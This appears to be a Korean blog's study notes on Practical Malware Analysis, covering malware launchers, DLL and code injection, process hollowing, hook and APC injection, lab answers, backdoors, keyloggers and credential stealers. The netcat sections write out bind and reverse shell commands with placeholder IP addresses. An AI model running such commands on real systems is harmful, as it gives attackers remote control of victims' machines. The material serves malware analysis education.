no image
위장 악성코드 실행
Launchers실행기(Loader라고도 알려짐)는 현재의 실행이나 추후의 은밀한 실행을 위해 자신이나 다른 악성코드를 설정하는 악성코드의 유형을 말한다. 실행기의 목적은 악의적인 행위를 사용자에게 들키지 않게 설정하는 것이다. 실행기는 종종 로딩할 악성코드를 포함하며 일반적인 예가 Resource Section에 EXE나 DLL을 포함하는 경우가 있다.위의 그림에서 보는 것과 같이 실행 파일의 부분에 MZ로 시작하는 DOS Header를 확인할 수가 있다. 프로그램은 이와 같이 리소스 섹션에 악성코드를 자주 저장하며, 실행될 때 리소스 섹션에서 내장된 실행파일이나 DLL을 추출해 실행한다. 리소스 처리 API로는 FindResource, LoadReasource, SizeofResource 가 존재한다..
2015.08.24
no image
Malware Behavior ( 악성코드의 행위 특성 )
Downloaders and Launchers흔히 만날 수 있는 악성코드의 두 가지 유형은 다운로더와 실행기이다. 다운로더는 단순히 인터넷에서 악성코드의 다른 일부를 다운로드한 후 로컬 시스템에서 실행한다. 다운로더는 종종 exploit과 함께 세트를 이룬다. 다운로더는 일반적으로 새로운 악성코드를 다운로드하고 실행할 수 있는 WinExec 호출에 이어 윈도우 API인 URLDownloadtoFileA를 사용한다.실행기는 현재 실행이나 추후 실행을 은닉하기 위해 악성코드를 설치하는 특정 실행 파일이다. 실행기는 종종 로딩할 악성코드를 포함한다. Backdoor백도어는 공격자가 타겟에 원격 접속할 수 있게 도와주는 악성코드의 한 종류이다. 백도어는 종종 모든 기능을 구현하기도 함으로써 추가적인 악성코드 또..
2015.08.20
Code Virtualized - 코드 가상화 참고자료
2015.08.17
no image
Practical Malware Analysis - 1
B A S I C S T A T I C T E C H N I Q U E S - Antivirus Scanning: A Useful First Step- Hashing: A Fingerprint for Malware C:\>md5deep c:\WINDOWS\system32\sol.exe373e7a863a1a345c60edb9e20ec3231 c:\WINDOWS\system32\sol.exe- Finding StringsASCII strings use 1 byte per character, and Unicode uses 2 bytes per character.But those bytes may not actually represent that string; they could be a memory addre..
2015.07.31
no image
CodeEngn Advance 02
2015.07.30
no image
CodeEngn Advance 15
문제확인이번 문제는 독특하게도 Unlock Code가 존재한다. 문제를 실행 시켜서 About을 통해 확인을 해보았을 때 올바른 Unlock Code를 찾은 후에 진행을 해야 하는 것 같다. The Serial-generation code in this crackme is obfuscated and there are no signatures this time.After the Unlock Code has been found, type it in and it will de-obfuscate the serial generation code.Then it should be straight forward. Rules:- No patching- Find the correct unlock code- Write a ..
2015.07.30
x86 Instruction Set Reference
x86 Instruction Set ReferenceDerived from the September 2014 version of the Intel® 64 and IA-32 Architectures Software Developer’s Manual, volumes 2A and 2B.More info at zneak/x86docThis reference is not perfect. It's been mechanically separated into distinct files by a dumb script. It may be enough to replace the official documentation on your weekend reverse engineering project, but in doubt, ..
2015.07.29
no image
CodeEngn Advance 14
문제 확인이번문제도 시리얼이 주어지고 이에 해당하는 Name을 구하는 것이 문제이다. 이제 14번 이전까지 문제를 풀었던 사람들이라면 충분히 손쉽게 문제를 풀 수가 있는 문제이다. 분석우선 성공분기점을 찾는다. 아래와 같이 IDA를 통해서 봤을 때 LStrCmp()를 통하여 성공의 분기를 결정하는 것을 확인 할 수가 있다. 그렇다면 저 부분을 기준으로 이전의 명령어들을 살펴보자. 우선 프로그램을 디버거로 열어보면 아래의 지점으로 EIP가 구성이 된다. 그리고 총 5개의 호출함수가 보인다. 여기서 우리가 알아야할 것은 바로 4번쨰에 있는 함수로써 프로그램의 버튼을 클릭하였을 경우 이루어질 동작에 대해 정의된 곳이다.그 이전의 부분들은 GUI를 구성하는 작업을 하는 것이므로 굳이 힘들게 분석할 필요는 없는 ..
2015.07.24

Launchers


실행기(Loader라고도 알려짐)는 현재의 실행이나 추후의 은밀한 실행을 위해 자신이나 다른 악성코드를 설정하는 악성코드의 유형을 말한다. 실행기의 목적은 악의적인 행위를 사용자에게 들키지 않게 설정하는 것이다. 실행기는 종종 로딩할 악성코드를 포함하며 일반적인 예가 Resource Section에 EXE나 DLL을 포함하는 경우가 있다.

위의 그림에서 보는 것과 같이 실행 파일의 부분에 MZ로 시작하는 DOS Header를 확인할 수가 있다. 프로그램은 이와 같이 리소스 섹션에 악성코드를 자주 저장하며, 실행될 때 리소스 섹션에서 내장된 실행파일이나 DLL을 추출해 실행한다.

리소스 처리 API로는 FindResource, LoadReasource, SizeofResource 가 존재한다. 이러한 실행기(launcher)는 관리자 권한으로 실행되거나 관리자 권한을 획득하기 위하여 권한 상승을 해야 한다.



Process Injection


가장 대중적인 위장 실행 기법은 프로세스 인젝션으로 이름과 같이 코드를 실행중인 프로세스에 인젝션하고, 그 프로세스가 자동으로 악의적인 코드를 실행하는 것이다. 멀웨어 코더들은 코드의 악의적인 행위를 숨기기 위해 프로세스 인젝션을 사용하며, 가끔은 호스트 기반 방화벽과 프로세스에 특화딘 보안 메커니즘을 우회하고자 할 때 사용한다.

특정 Windows API 호출들이 프로세스 인젝션에 일반적으로 사용되며 그 예로 VirtualAllocEX는 원격 프로세스의 메모리에 공간을 할당하기 위하여 사용되며, WriteProcessMemory는 할당된 공간에 데이터를 쓸 때 사용된다.


DLL Injection

DLL 인젝션은 원격의 프로세스가 악의적인 DLL을 로딩하게 하는 프로세스 인젝션의 한 형태이다. LoadLibrary를 호출하는 원격 프로세스에 코드를 삽입해 해당 프로세스의 컨텍스트에 DLL을 강제적으로 로드하게 한다. 감염된 프로세스가 악의적인 DLL을 로드하면 운영체제는 자동으로 그 DLL의 DllMain() 함수를 호출하게 된다. 주로 악의적인 DLL은 DllMain() 외에 다른 내용은 없는 경우가 많으며 이렇게 인젝션된 코드들은 실행한 프로세스가 소유한 시스템의 권한과 동일한 권한을 가진다.

아래에서 보는 것과 같이 오른쪽에는 원래의 프로세스를 보여준다. 하지만 myhack.dll을 Injection을 통하여 프로세스 내부에 넣을 수가 있다. 이렇게 로드된 myhack.dll의 DllMain() 함수는 실행이 될 것이며 권한 또한 기존의 프로세스와 같은 권한을 갖는다. 

호스트 프로그램 내부에 악의적인 DLL을 인젝션하기 위해 실행기 악성코드는 목표 프로세스의 핸들을 우선 확복해야 한다. 이 방법으로는 윈도우 API 호출인 CreateToolhelp32Snapshot, Process32First, Process32Next를 인젝션 목표에 대한 프로세스 목록을 찾기 위해 사용한다. 목표를 발견하면 실행기는 PID를 확보한 후 OpenProcess() 호출을 통해 핸들을 획득한다. DLL 인젝션의 순서는 다음과 같다.

1. 대상 프로세스 핸들 구하기

OpenProcess() API를 이용해서 대상 프로세스의 핸들을 구하는데 이 때 주로 PID를 이용한다. 



2. 대상 프로세스 메모리에 인젝션 시킬 DLL 경로 써주기

대상 프로세스에게 로딩할 DLL 파일의 경로를 알려줘야 한다. 아무 메모리 공간에 쓸 수 없으므로 VirtualAllocEx() API를 이용하여 대상 프로세스 메모리 공간에 버퍼를 할당한다. 그리고 WriteProcessMemory()를 통하여 할당된 버퍼 주소에 dll 경로 문자열을 써준다.




3. LoadLibraryA() API 주소 구하기

LoadLibrary()를 통하여 우리는 새로운 DLL을 프로세스에 로딩시킬수가 있다. 그러기위해서는 LoadLibrary() API의 주소가 필요하다. 여기서 우리는 인젝션 시킬 프로세스의 함수 주소를 구하는 것이 아니라 인젝터의 LoadLibrary()의 주소를 구할 것이다. 실제 windows 운영체제에서 kernel32.dll은 프로세스마다 같은 주소에 로딩되기에 이를 이용한 것이다.

* Microsoft 에서는 OS 핵심 DLL 파일들의 ImageBase를 정리해 놓았는데 이는 절대 겹치지 않도록하므로 DLL Relocation이 발생하지 않는다. 이러한 특성을 이용한 것이라 할 수 있다.


4. 대상 프로세스에 스레드를 실행시킴

이제 LoadLibrary()의 주소도 알았으므로 우리는 이를 호출하면 된다. 호출하는 방법으로는 CreateRemoteThread()를 사용하는데 이는 다른 프로세스에게 스레드를 실행시켜주는 함수이다. 

멀웨어를 분석함에 있어서 이러한 징후를 발견한다면 악의적인 DLL과 대상프로세스의 이름을 포함한 문자열을 찾아야 한다. 이 문자열들은 바로 볼 수가 없기에 실행하다보면 대상 프로세스의 이름은 대상 프로세스의 PID를 판별할 때 strcmp 함수와 같은 함수에서 발견할 수가 있다. 또한 인젝션 되는 악의적인 DLL의 이름을 알아내기 위해서는 WriteProcessMemory에 전달되는 Buffer의 값을 보면 된다.


아래는 실제로 직접 해본 것으로 악의적인 dll이 아니라 메세지 박스를 출력하는 dll이다. 이를 인젝션하면 아래와 같이 카카오톡의 창에 메세지박스가 같이 존재하는 것을 확인할 수가 있다. 이는 카카오톡이라는 프로세스와 동일한 위치에 있다는 것을 알 수가 있다.


Code Injection

DLL 인젝션과 동일하게 원격 프로세스의 메모리에 공간을 할당하여 삽입을 한다. 하지만 여기선 원격 프로세스가 개별 DLL을 로드하게 하는 대신에 악의적인 코드를 직접적으로 원격 프로세스에 인젝션 한다는 점이다. 이는 DLL 인젝션보다 유연하지만 호스트 프로세스에 부정적인 영향을 주지 않고 성공적으로 실행되게 하기 위해서는 많은 최적화 코드가 필요하다.

여기선 DLL을 로딩시킬 필요가 없으므로 GetProcAddress()가 사용되지 않으며 이외의 사용 API들은 유사하다. 



Process replacement


호스트 프로그램에 코드를 인젝션하지 않고, 일부 악성코드는 실행 중인 프로세스의 메모리 공간을 악의적인 실행 파일로 쓰기 위해 프로세스 교체라고 알려진 방법을 사용한다. 프로세스 교체는 악성코드 제작자가 프로세스 인젝션 중 발생할 수 있는 프로세스 비정상 종료의 위험 부담 없이 악성코드를 정상적인 프로세스로 위장하고자 할 때 사용한다.

이 기법은 교체되는 프로세스와 동일한 권한을 악성코드에 부여한다. 예를 들어 악성코드가 svchost,exe에 대해 프로세스 교체 공격을 수행했다면 사용자는 C:\Windows\System32 에서 실행 중인 svchost.exe를 본 후 악성코드가 아니라고 생각하게 된다.

프로세스 교체의 핵심은 대기 상태(Suspended State)의 프로세스를 생성하는 것이다. 다시 말해 프로세스를 메모리에 로드했지만, 프로세스의 메인 스레디는 대기함을 의미한다. 해당 프로그램은 외부프로그램이 메인 스레드를 재개하기 전까지는 아무것도 하지 않는다.

CreateProcess()를 통하여 프로세스가 생성되면 다음 단계로 대상 프로세스의 메모리를 악의적인 실행 파일로 교체한다. 일반적으로 파라미터로 전다로딘 섹션에서 지정하고 있는 모든 메로리를 해제하기 위해 ZwUnmapViewOfSection()을 사용한다. 메모리를 언매핑한 후 로더는 VirutalAllocEx()를 실행하여 악성코드를 위한 새로운 메모리를 할당하고 WriteProcessMemory()를 사용해 악성코드의 각 섹션을 대상 프로세스의 공간에 작성한다. 마지막 단계로 진입점이 악의적인 코드를 가리키게 SetThreadContext를 호출해 악의적인 코드가 실행되게 대상 프로세스의 환경을 복원한다. 최종적으로 악성코드가 실행되게 ResumeThread를 호출해 대상 프로세스를 교체한다.

프로세스 교체는 악성코드의 은닉에 효과적인 방법이다. 대상 프로세스로 가장함으로써 악성코드는 방화벽이나 침입 방지 시스템(IPS)를 우회하고 일반 윈도우 프로세스로 보이게 함으로써 탐지를 피할 수 있다. 

여기서 우리는 ProcessExplorer의 String탭을 통하여 이를 탐지하는데 도움이 될 것이다.




Hook Injection


후크 인젝션은 윈도우 후크의 이점을 이용해 악성코드를 로딩하는 방법이다. 윈도우 후크는 애플리케이션으로 전달되는 메세지를 가로 챌 때 사용하는데 악성코드 제작자는 다음 2가지를 이루기 위해 후크 인젝션을 사용한다.

1. 특정 메세지가 인터셉터될 때마다 악의적인 코드가 실행되는 것을 보장하기 위해서

2. 대상 프로세스의 메모리 공간에 특정 DLL 로드를 보장하기 위해서


아래 글미과 같이 사용자는 운영체제로 전달되는 이벤트를 생성한다. 그 후에 이벤트에서 생성한 메세지를 등록된 스레드로 전달한다. 오른쪽 그림은 공격자가 메세지를 가로채는 악의적인 DLL을 삽입하는 한 가지 방법을 보여준다.


로컬과 원격 후크

윈도우 후크에는 다음과 같은 두가지 유형이 있다.

- 로컬 후크는 내부 프로세스로 전달되는 메세지를 관찰하거나 조작하기 위해 사용된다.

- 원격 후크는 원격 프로세스에 전달되는 메세지를 관찰하거나 조작하기 위해 사용된다.

원격 후크는 두 가지 형태가 있다. 상위 레벨 원격 후크는 후크 프로시저가 DLL에 포함돼 있는 익스포트 함수로 존재해야한다. 익스포트 함수는 운영체제에서 후킹된 스레드나 전체 스레드의 프로세스 스페이스로 매핑하낟. 하위 레벨 원격 후크는 후크가 설치된 프로세스의 후크 프로시저를 필요로 한다. 이 프로시저는 운영체제가 프로세스 이벤트를 받기 전에 통보된다.


Keyloggers Using Hooks

후크 인젝션은 키 스트로크를 기록하는 키로거로 알려진 악의적인 애플리케이션에서 자주 사용한다. 키 스트로크는 WH_KEYBOARD나 WH_KEYBOARD_LL 후크 프로시저 유형을 각각 사용해 상위 레벨이나 하위 레벨 후크를 등록해 캡처할 수 있다.


SetWindowsHookEx 사용

원격 윈도우 후킹에 사용하는 주요 함수 호출은 SetWindowsHookEx이며, 다음과 같은 파라미터를 가진다.

- idHook : 설치할 후크 프로시저의 유형을 정의

- lpfn : 후크 프로시저에 대한 포인터

- hMod : 상위 레벨의 경우 lpfn에 정의된 후크 프로시저를 포함하는 DLL에 대한 핸들을 식별, 하위 레벨의 경우 lpfn 프로시저에 정의된 로컬 모듈을 식별

- dwThreadId : 후크 프로시저와 연관된 스레드의 식별자를 저으이. 파라미터가 0이라면 후크 프로시저는 호출한 스레드와 동일한 데스크톱에 실행 중인 모든 스레드로 정의 된다. 하위 레벨 후크에 대해서는 0으로 설정 돼야 한다.


스레드 지정

악성코드는 키로거나 동급의 목적을 가진 경우에만 모든 스레드에 로딩 된다. 모든 스레드에 로드하는 것은 실행 시스템의 성능을 저하시키고 IPS에 탐지될 수 있다. 그러므로 목적이 단순히 원격 프로세스에 DLL을 로딩하는 것이라면 탐지 되지 않게 하기 위해 싱글 스레드에만 인젝션해야한다.

싱글 스레드 지정을 위해서는 대상 프로세스를 찾기 위해 프로세스 목록을 검색해야하며, 대상 프로세스가 실행돼 있지 않다면 악성코드가 프로그램을 실행해야 한다. 악의적인 애플리케이션이 자주 사용되는 윈도우 메세지를 후킹한다면 IPS에 탐지될 확률이 높아진다. 아래의 그림은 다른 프로세스의 메모리 공간에 DLL을 로딩하기 위해 후크인젝션 하는 어셈코드다.


Detours

기존 운영체제와 애플리케이션을 쉽게 장착하고 확장할 수 있는 방법으로 제시된 라이브러리이다. 이를 통하여 IAT를 수정하거나 기존 프로그램 파일에 DLL을 덧붙이거나 실행 중인 프로세스에 함수 후킹을 한다. 멀웨어 코더는 일반적으로 Detours를 이용해 가장 일반적으로 디스크에 존재하는 바이너리에 새로운 DLL을 추가한다. 


APC 인젝션

CreateRemoteThread를 이용해 스레드를 생성한 후 원격 프로세스에서 함수를 실행하는 것을 위에서 보았다. 하지만 스레드 생성은 쉽지 않으므로 기존 스레드에 함수를 실행하는 것이 더 효과 적이다. 이런 기능이 윈도우 비동기 프로시저 호출로 존재한다.

APC는 APC의 정규 실행 경로를 실행하기 전에 스레드가 다른 코드를 실행하게 지시할 수 있다. 모든 스레드는 스레드에 첨부된 APC 큐를 갖고 있으며 WaitForSingleObjectEx, WaitForMultipleObjectEx, SleepEx 같은 함수를 호출했을 때와 같이 스레드가 대체 가능한 상태에 있을 때 처리된다. APC 는 다음과 같은 두 가지 형태가 있다.

- 시스템이나 드라이버를 위해 생성된 APC는 커널 모드 APC라고 한다.

- 애플리케이션을 위해 생성된 APC는 사용자 모드 APC 라고한다.

사용자 공간에서는 QueueUserAPC를 사용해 사용자 공간에서 다른 스레드가 원격 스레드에서 실행될 함수를 큐에 넣을 수가 있으며 커널 공간에서는 MeI itializeApc와 KeInsertQueueApc와 같은 두 개의 주요 함수를 사용한다.





참고

http://www.reversecore.com/38    ; Dll 인젝션

https://www.trustwave.com/Resources/SpiderLabs-Blog/Analyzing-Malware-Hollow-Processes/   ; 프로세스 교체



문제 풀이


Lab12-01

파일 Lab12-01.exe와 Lab12-01dll 에서 발견되는 악성코드를 분석하자. 분석을 할 때 이 파일들은 동일한 디렉터리에 존재해야함을 주의하자

1. 악성코드가 실행 됐을 때 어떤 일이 일어나는가?

어떠한 프로세스에 12-01.dll을 인젝션 시킨다.


2. 어떤 프로세스가 인젝션 됐는가?

explorer.exe에 12-01.dll 인젝션 시키는것


3. 악성코드의 팝업을 어떻게 멈출 수 있는가?

explorer.exe를 강제로 종료시킨뒤 task 매니저에서 다시 explorer를 실행하면 더 이상 작동하지않는다. 또는 재부팅을 하여도 인젝션이 해제가 되어있을 것이다.


4. 이 악성코드는 어떻게 작동하는가?

dll injection을 진행한 뒤 그 dll에는 메세지박스를 60초마다 출력하도록 한다.


EXE

000000006030   000000406030      0   explorer.exe

000000006040   000000406040      0   <unknown>

00000000604C   00000040604C      0   LoadLibraryA

00000000605C   00000040605C      0   kernel32.dll

00000000606C   00000040606C      0   Lab12-01.dll

000000006080   000000406080      0   EnumProcesses

000000006090   000000406090      0   GetModuleBaseNameA

0000000060A4   0000004060A4      0   psapi.dll

0000000060B0   0000004060B0      0   EnumProcessModules

00000000554A   00000040554A      0   CreateRemoteThread

DLL

export가 존재하지 않으므로 DllMaiin()을 통한 악의적 행위, DLL 인젝션의 확률이 높음


Lab12-02

1. 이 프로그램의 목적은 무엇인가?

svchost.exe에 프로세스 교체 기법을 사용하여 리소스 섹션에 있는 내용을 실행하도록 한다. 실행되면 해당 dll이 가진 명령어들을 수행하는데 서비스에 등록을 하며 RPC 서버와의 어떤 작업도 진행한다. 키로깅


2. 실헹기 프로그램은 어떻게 실행을 숨기는가?

리소스 섹션에 숨겼으며 XOR 41을 하므로 알아차리기가 어렵다.


3. 악의적인 페이로드는 어디에 조정돼 있는가?

리소스 섹션

4. 악의적인 페이로드는 어떻게 보호되는가?

XOR 41


리소스섹션에 파일이 있는데 XOR 41로 숨겨져있다. 000000005030   000000405030      0   \svchost.exe

000000005058   000000405058      0   ntdll.dll
000000005040   000000405040      0   NtUnmapViewOfSection   >> 프로세스 교체긱법?
000000004842   000000404842      0   WriteFile
00000000464A   00000040464A      0   FreeResource
00000000465A   00000040465A      0   SizeofResource
00000000466C   00000040466C      0   LockResource
00000000467C   00000040467C      0   LoadResource
00000000468C   00000040468C      0   FindResourceA
0000000045D8   0000004045D8      0   VirtualAllocEx


Create_Suspend
ResumeThread 등등 프로세스 교체 기법을 사용 svchost.exe를


Lab12-03

1. 이 악의적인 페이로드의 목적은 무엇인가?

SetWindowsHookExA

키로킹


2. 악의적인 페이로드는 어떻게 자신을 인젝션하는가?

후킹 인젝션


3. 이 프로그램은 어떤 파일 시스템 잔여물을 만드는가?

practicalmalwareanalysis.log


Lab12-04

1. 0x401000에서 악성코드는 무엇을 하는가?

해당 프로세스가 오픈되어 있는지를 확한다.


2. 악성코드는 어떤 프로세스에 인젝션되는가?



3. LoadLibrary를 이용해 로드하는 DLL은 무엇인가?

sfc_os.dll

4. CreateRemoteThread 호출에 전달되는 네번쨰 인자는 무엇인가?

sfc_os.dll 의 스타트 어드레스


5. 메인 실행 파일에서 어떤 악성코드를 드롭했는가?

URL 로부터 파일을 다운로드


6. 이 파일과 드롭된 악성코드의 목적은 무엇인가?

psapi.dll이 나옴


리소스 섹션에 EXE가 포함됨, SeDebugPrivilege가 사용되므로 권한 상승이 이루어짐

movfile \Temp\winup.exe >>> C:\Windows\System32\wupmdmgr.exe


000000007070   000000407070      0   \winup.exe

000000007084   000000407084      0   \system32\wupdmgrd.exe

0000000070A4   0000004070A4      0   http://www.practicalmalwareanalysis.com/updater.exe

0000000061AA   0000004061AA      0   URLDownloadToFileA
0000000061BE   0000004061BE      0   urlmon.dll
000000006182   000000406182      0   WinExec
000000003010   000000403010      0   winlogon.exe
0000000022B6   0000004022B6      0   LookupPrivilegeValueA
00000000229E   00000040229E      0   AdjustTokenPrivileges
000000002216   000000402216      0   SizeofResource
000000002228   000000402228      0   LoadResource
000000002238   000000402238      0   FindResourceA
0000000021FC   0000004021FC      0   WriteFile
000000002208   000000402208      0   CreateFileA
0000000021BA   0000004021BA      0   CreateRemoteThread


'Reversing > Theory' 카테고리의 다른 글

DLL Injection  (0) 2015.08.29
데이터 인코딩  (0) 2015.08.26
Malware Behavior ( 악성코드의 행위 특성 )  (0) 2015.08.20
Code Virtualized - 코드 가상화 참고자료  (0) 2015.08.17
Practical Malware Analysis - 1  (0) 2015.07.31

Downloaders and Launchers


흔히 만날 수 있는 악성코드의 두 가지 유형은 다운로더와 실행기이다. 다운로더는 단순히 인터넷에서 악성코드의 다른 일부를 다운로드한 후 로컬 시스템에서 실행한다. 다운로더는 종종 exploit과 함께 세트를 이룬다. 다운로더는 일반적으로 새로운 악성코드를 다운로드하고 실행할 수 있는 WinExec 호출에 이어 윈도우 API인 URLDownloadtoFileA를 사용한다.

실행기는 현재 실행이나 추후 실행을 은닉하기 위해 악성코드를 설치하는 특정 실행 파일이다. 실행기는 종종 로딩할 악성코드를 포함한다.


Backdoor


백도어는 공격자가 타겟에 원격 접속할 수 있게 도와주는 악성코드의 한 종류이다. 백도어는 종종 모든 기능을 구현하기도 함으로써 추가적인 악성코드 또는 코드를 다운로드할 필요가 없는 경우도 있다. 가장 일반적으론는 HTTP 프로토콜을 이용해 80번 포트로 통신을 하며 이는 가장 일반적인 네트워크 트래픽으로 악성코드는 자신의 트래픽을 정상적인 트래픽에 숨길 수 있다는 이점을 얻는다.

Windows Reverse Shell

공격자는 cmd.exe를 이용해 윈도우에서 두 가지 간단한 악성코드 코딩방법을 사용한다. 기본적인 방법은 제작하기가 쉽고 멀티스레드 기법만큼 잘 작동 때문에 악성코드 제작자 사이에 인기가 있다. CreateProcess에 대한 호출과 CreateProcess로 전달되는 STARTUPINFO 구조체의 조작이 사용된다. 우선 소켓을 생성한 후 원격 서버에 대한 연결을 수행하며, 해당 소켓은 cmd.exe의 표준 스트림으로 연결된다. CreateProcess는 희생자에게 들키지 않게 윈도우를 숨긴채 cmd.exe를 실행한다.

멀티스레드 버전의 윈도우 리버스 셸은 소켓, 파이프 2개, 스레드 2개를 생성한다. 악성코드 제작자는 종종 이 방법을 이용해 소켓을 통해 주고받는 데이터를 조작하거나 인코딩한다. CreatePipe는 stdin과 stdout 같은 파이프의 끝을 함께 읽고 쓸 수 있게 연결하는데 사용하며 CreateProcess 메소드는 표준 스트림을 직접 소켓에 연결하기보다는 파이프에 연결할 때 사용한다. CreateProcess가 호출된 후 악성코드는 스레드 2개를 생성한다. 일반적으로 이들 스레드는 데이터 인코딩을 통해 데이터를 조작한다.

Netcat Reverse Shell

공격자는 넷캑이나 또는 다른 악성코드에 포함돼 있는 넷켓 패키지를 사용하는 것으로 알려져 있다. 넷캣을 리버스 쉘로 사용할 때는 다음과 같이 원격 머신은 들어오는 접속을 대기해야 한다.     nc -l -p 80   -l 옵션은 넷캣을 리스닝 모드로 설정하고, -p는 리스닝할 포트를 설정할 때 사용한다. 

다음 명령을 이용해 희생자의 머신에서 외부로 접속해 쉘을 전달한다.nc ip 80 -e cmd.exe

Backdoor Shell

<Server> nc -e /bin/sh(or cmd.exe) -l -p 1234         <Client>  telnet IP_Address 1234

이 경우 Client의 입장에서 Server측의 cmd를 컨트롤할 수가 있다. 그러므로 타겟pc를 Server와 같이 설정하여 실행하면 Target PC를 컨트롤 할 수 있다. 또한 한가지 더 생각하면 서버측에서는 IP에 대한 입력이 필요가 없으므로 서버측의 IP만 알면 어느 PC에서든지 이에 접속할 수가 있다. 이

Reverse Shell

<Server> nc -l -p 1234   or nc -n -v -l -p 1234        <Client>  nc -e /bin/sh(or cmd.exe) IP_Address 1234

이 경우 Server의 입장에서 Client의 cmd를 컨트롤할 수가 있다. 그러므로 타겟pc를 Client와 같이 설정하여 실행한다. 공격자가 서버의 입장이므로 타겟 PC는 따로 어떠한 설정 없이 연결이 된다.

*위의 두 상황 모두 명령어 실행이 안될 경우 뒤에 ' ; ' 세미콜론을 붙여야 실행되는 경우도 있다. 그러므로 일반적인 명령어를 실행해보고 작동하지 않는다면 세미콜론을 붙여보자.

RAT

Remote Administration Tool(원격 관리도구)는 원격에 있는 컴퓨터들을 관리할 때 사용한다. RAT는 정보를 훔치거나 정보를 다른 네트워크로 이동시크는 것과 같은 특정 목적을 가진 표적 공격에 사용한다. 

아래의 그림은 RAT의 네트워크 구조에 대하여 설명된 것이다. 서버는 악성코드에 감염된 피해 호스트에서 실행된다. 클라이언트는 공격자가 조종하는 명령 및 통제 유닛으로, 원격에서 실행된다. 서버는 연결을 위해 클라이언트에 신호를 전달하면 클라이언트가 서버를 통제한다. RAT 통신은 일반적으로 80, 443 같은 일반 포트를 통해 이루어진다.

Botnets

봇넷은 좀비로 알려진 침해 호스트의 집합으로, 일반적으로 봇넷 컨트롤러로 알려진 서버를 통해 단일 엔티티에 의해 통제된다. 봇넷의 목표는 추가 악성코드, 스팸을 전파하거나 DDoS 공격을 수행할 수 있는 큰 좀비 네트워크를 구성하기 위해 최대한 많은 호스트를 침해하는 것이다. 봇넷은 동시에 다수의 좀비 호스트가 웹사이트를 요청하게 함으로써 웹사이트를 다운시킬 수 있다.

RAT와 Botnet 비교 

· 봇넷은 다수의 호스트를 감염시키고 통제하는 것으로 알려졌으며, RAT는 일반적으로 더 작은 규모의 호스트를 통제한다.

· 모든 봇넷은 한번에 통제되는데 반해 RAT는 피해 호스트별로 통제된다. 이는 RAT의 경우 공격자가 개별 호스트에 대해 좀 더 많은 관심을 갖고 있기 때문이다.

· RAT는 표적 공격에 사용되는데 반해 봇넷은 대량 공격에 사용된다.


Credential Stealers


공격자는 인증정보를 훔치기 위해 노력을 아끼지 않으며, 이런 종류의 악성코드는 크게 3가지 유형이 있다.
GINA Interception
MS의 GINA( Graphical Identification and Authentication ) Interception은 윈도우 XP에서 악성코드가 사용자 인증정보를 훔치기 위해 사용하는 기법이다. GINA 시스템은 하드웨어 RFID나 스마트카드 같은 인증을 지원함으로써 인증된 서드파티가 로그온 프로세스를 최적화할 수 있게 한다. 멀웨어 코더는 자신들의 인증정보를 탈취기의 로딩을 위해 이 서드파티 지원을 악용한다. 
GINA는 DLL(msgina.dll)로 구현돼 있으며, 로그인 과정에서 Winlogon 실행파일이 GINA를 로딩한다. Winlogon은 Winlogon과 GINA DLL 사이의 서드파티 DLL을 로딩해 DLL에 포함된 서드파티 최적화를 수행한다. 윈도우는 Winlogon에서 로드할 서드파티 DLL을 찾을 수 이게 다음 레지스트리 위치를 편리하게 제공한다.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL"

Hash Dumping

윈도우 해시 덤프는 악성코드가 시스템 인증정보에 접근하기 위해 사용하는 대중적인 방법이다. 해시전달 공격( Pass the hash attack )은 로그인에 필요한 평문 패스워드를 획득하기 위해 해시를 해독하거나 크랙할 필요 없이 LM과 NTLM 해시를 사용해 NTLM 인증을 사용하는 원격 호스트를 인증한다.

pwdump와 Pass-the_Hash(PSH) 툴킷은 해시 덤프를 전송하는데 자유롭게 사용할 수 있는 패키지이다. pwdump는 보안계정관리자(SAM)에서 로컬 사용자 계정의 LM과 NTLM 패스워드 해시를 출력하는 프로그램이다. 표준 pwdump는 lsaext.dll을 사용하며 lsass.exe 내부에서 실행되면 pwdump는 해시추출을 수행하기 위해 lsaext.dll에서 Export된 GetHash를 호출한다. 시스템의 사용자를 열거하고, 각 사용자의 암호화되지 않은 형태의 패스워드 해시를 얻기 위해 비공식적인 윈도우 함수를 사용한다.

여기서 멀웨어 코더들은 이를 변형시켜 GetHash와 같은 Export 이름을 변경할 수가 있다. 그렇기에 Export에서 사용하는 API 함수를 살펴봐야한다. 이 함수 대부분은 동적으로 해석되기 때문에 해시 덤프 익스포트는 빈번하게 GetProcAddress를 호출한다.


Keystroke Logging

키로깅은 인증정보 탈취의 전형적인 유형중 하나이다. 키로깅을하면 공격자가 계정명과 패스워드 같은 타이핑된 데이터를 관찰할 수 있게 악성코드는 키 스트로크를 기록한다.

커널 기반 키로거

커널 기반 키로거는 사용자 모드 애플리케이션을 이용해 탐지하기가 어렵다. 루트킷의 일부로 자주 사용되며, 키 스트로크를 캡처하기 위해 키보드 드라이버처럼 가장하거나 사용자 공간 프로그램과 보호장치를 우회한다.

사용자 공간 키로거

일반적으로 윈도우 API를 이용하며, 대부분 후킹이나 폴링을 이용해 구현한다. 후킹 방식은 입력될 때마다 악성코드에 알리기 위해 윈도우 API(SetWindowsHookEx 함수)를 사용한다. 폴링 방식은 계속적인 키 상태 기록을 위해 윈도우 API( GetAsyncKeyState와 GetForegroundWindows 함수)를 사용한다

후킹 키로거는 후킹 기능을 실행하는 실행 파일로 패키징될 수 있으며, 시스템에서 다수의 프로세스에 매핑해 자동으로 로깅할 수 있는 DLL 파일을 포함할 수도 있다.

폴링 방식의 키로거는 GetAsyncKeyState 함수가 키가 눌려졌는지 여부를 인식한 후 가장 최근의 GetAsyncKeyState 호출 이후 해당 키가 눌렸는지를 인식한다. 그 외에 주로 사용되는 함수인 GetForegroundWindows 함수는 어떤 어플리케이션이 키보드 엔트리를 위해 사용되는지를 키로거에게 알려주기 위해 현재 사용중인 윈도우를 파악한다.


Persistence Mechanisms


악성코드가 한 번 시스템의 권한을 획득하면 악성코드는 해당 시스템에 오랜 기간 상주하길 원한다. 이런 행위를 지속이라고 부른다. 그리고 이러한 지속 메커니즘의 방법으로 시스템의 레지스트리 조작과 바이너리를 트로이목마화 시키는 방법, 마지막으로는 레지스트리나 파일의 조작없이 지속을 유지하는 방법으로 DLL 로더 하이재킹이 있다.

The Windows Registry

악성코드가 설정 정보를 저장하고 시스템의 정보를 수집하고 지속적으로 자신을 설치하기 위해 레지스트리에 접근하는 것이 일반적이다. 이에 자주 사용되는 레지스트리 키가 있는데 다음과 같다.

AutoRun

